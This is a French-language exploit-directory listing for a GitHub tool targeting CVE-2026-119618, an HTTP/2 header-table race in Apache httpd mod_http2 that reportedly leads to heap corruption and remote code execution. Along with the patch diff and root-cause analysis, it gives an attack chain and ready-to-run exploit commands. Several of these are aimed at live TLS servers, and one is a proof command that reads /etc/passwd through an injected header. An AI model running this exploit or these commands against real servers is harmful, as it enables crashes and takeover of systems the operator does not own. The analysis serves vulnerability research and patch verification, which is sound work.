Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-119618 — Exploit HTTP/2 en Python pour CVE-2026-119618, une condition de concurrence sur les en-têtes de requête dans mod_http2 provoquant une corruption du tas et une RCE dans Apache httpd 2.4.55–2.4.70, avec un banc de test Docker. | Kitploit
Outils/GitHubGitHub/studiogangster/cve-2026-119618
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebFuzzingSécurité RéseauCheval de Troie d'Accès à Distance
GitHub
studiogangster/cve-2026-119618

CVE-2026-119618

Exploit HTTP/2 en Python pour CVE-2026-119618, une condition de concurrence sur les en-têtes de requête dans mod_http2 provoquant une corruption du tas et une RCE dans Apache httpd 2.4.55–2.4.70, avec un banc de test Docker.

Voir le dépôt
2il y a 3 joursPas encore vérifié
Partager

CVE-2026-119618 — Apache HTTP Server (mod_http2 / mod_h2)

Exécution concurrente utilisant une ressource partagée avec une synchronisation incorrecte (CWE-362) dans la table d'en-têtes de requête HTTP/2 → corruption du tas → RCE.

CVSS9.8 (Critique)
Vulnérablehttpd 2.4.55 – 2.4.70, mod_h2 autonome 2.0.8 – 2.0.42
Corrigé danshttpd 2.4.71 (publié le 2026-11-11)
Correctif amont824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977)
DécouvreursAnthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell)

1. Le correctif amont (ce qui a changé)

Une ligne dans modules/http2/h2_request.c, à l'intérieur de assign_headers() :

--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
                 /* If we have a content-type, but already seen eos, no more
                  * data will come. Signal a zero content length explicitly.
                  */
-                apr_table_setn(req->headers, "Content-Length", "0");
+                apr_table_setn(r->headers_in, "Content-Length", "0");

Diff complet enregistré : references/824beab_mod_http2_assign_headers.patch.

La branche vulnérable ne s'exécute que lorsque toutes les conditions suivantes sont réunies pour une même requête :

  • la méthode n'est pas CONNECT ;
  • la requête n'a aucun en-tête Content-Length ;
  • la requête possède un en-tête Content-Type ;
  • no_body est vrai — le client a déjà envoyé END_STREAM sans trame DATA (no_body == conn_ctx->beam_in == NULL, c'est-à-dire que le corps de la requête n'a jamais été mis en tampon parce que le flux portait END_STREAM au moment des en-têtes).

2. Cause racine (déduite)

req->headers est la table d'en-têtes h2_request. Cette table est une ressource partagée entre deux propriétaires :

  1. le thread c1 (session / multiplexeur) — la remplit pendant l'analyse des trames HEADERS du client : h2_stream_add_header() → h2_request_add_header() → h2_request_add_header écrit dans req->headers.
  2. le thread c2 (worker) — la consomme : h2_mplx → c2_process() → h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).

Dans le code vulnérable, la dernière écriture du cycle de vie de la requête — apr_table_setn(req->headers, "Content-Length", "0") — s'effectuait sur un thread worker c2, sur une table dans laquelle le thread c1 peut encore être en train d'écrire (la session continue de distribuer/vider des trames pour ce flux après que le worker c2 a démarré c2_process). Deux threads modifiant la même apr_table_t (rehash de table de hachage / réallocation d'éléments) sans verrou → corruption du tas.

r->headers_in, en revanche, est créé au début de assign_headers() sous la forme apr_table_clone(r->pool, req->headers) — une copie fraîche par requête dans le pool du worker c2, jamais touchée par c1. Le correctif déplace simplement l'écriture à cet endroit, supprimant l'écriture sur la ressource partagée et la course.

3. Chaîne d'attaque

  1. L'attaquant ouvre une connexion HTTP/2 (h2 sur TLS, ou h2c en clair) vers l'Apache vulnérable (2.4.55–2.4.70 / mod_h2 2.0.8–2.0.42).
  2. Il envoie une requête qui satisfait les conditions de déclenchement ci-dessus : Content-Type présent, aucun Content-Length, drapeau END_STREAM positionné sur la trame HEADERS (aucun corps ne suit).
  3. Le worker c2 qui traite cette requête exécute l'appel vulnérable apr_table_setn(req->headers, …) pendant que le thread c1 touche simultanément la même req->headers.
  4. Mutation concurrente non synchronisée d'apr_table → corruption du tas → RCE (ou DoS si la corruption est bénigne / si l'ASLR est hostile).
  5. Pour forcer de manière fiable le chevauchement, l'exploit déclenche de nombreux flux h2 concurrents sur la même connexion : quelques flux déclencheurs (la requête forgée) plus un flot de requêtes simples occupant les autres workers c2, afin que le côté c1 soit occupé pendant que le worker c2 exécute l'écriture vulnérable.

Observable sur un serveur en production : un flux reçoit un RST_STREAM, la connexion reçoit un GOAWAY, ou la connexion tombe en pleine rafale (un crash). Un serveur 2.4.71 corrigé répond normalement à la même requête unique — c'est pourquoi le mode --verify est un test de fumée et que le mode rafale est ce qui force la course.

4. L'exploit

cve_2026_119618_exploit.py — en Python pur, pilote la machine à états HTTP/2 avec le paquet h2 (aucune dépendance C). À chaque tour, il ouvre une connexion, négocie h2 (ALPN) ou h2c, et déclenche une rafale serrée de triggers + flood flux en un seul sendall() afin que toutes les trames HEADERS (chacune avec END_STREAM) atteignent le serveur coup sur coup ; il surveille ensuite RST / GOAWAY / EOF.

Fonctionne sur tout Apache vulnérable avec h2 activé — aucun CGI personnalisé, aucune configuration serveur spéciale requise. Le RST/EOF est la signature de la corruption ; le drapeau --cmd est optionnel (pour la preuve de RCE sur un banc de test disposant d'un point de terminaison RCE).

L'exploit décode les HEADERS de la réponse avec un décodeur hpack brut (maintenu séparé du décodeur interne de la lib h2, qui met les frames en tampon jusqu'à ce que le flux soit fermé par END_STREAM — une frame qu'Apache mod_h2 n'envoie souvent pas sur la réponse CGI prouvant la RCE). C'est ainsi que la preuve de RCE X-Cmd-Out est capturée de manière fiable, même lorsque la machine à états de la lib h2 n'émet jamais ResponseReceived.

pip install h2

# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
    --triggers 5 --flood 32 --rounds 500 -v

# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
    --triggers 5 --flood 32 --rounds 1000 -v

# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
    --triggers 5 --flood 32 --rounds 500 -v

# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify

# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
    --trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v

# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Pas encore de données de popularité.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →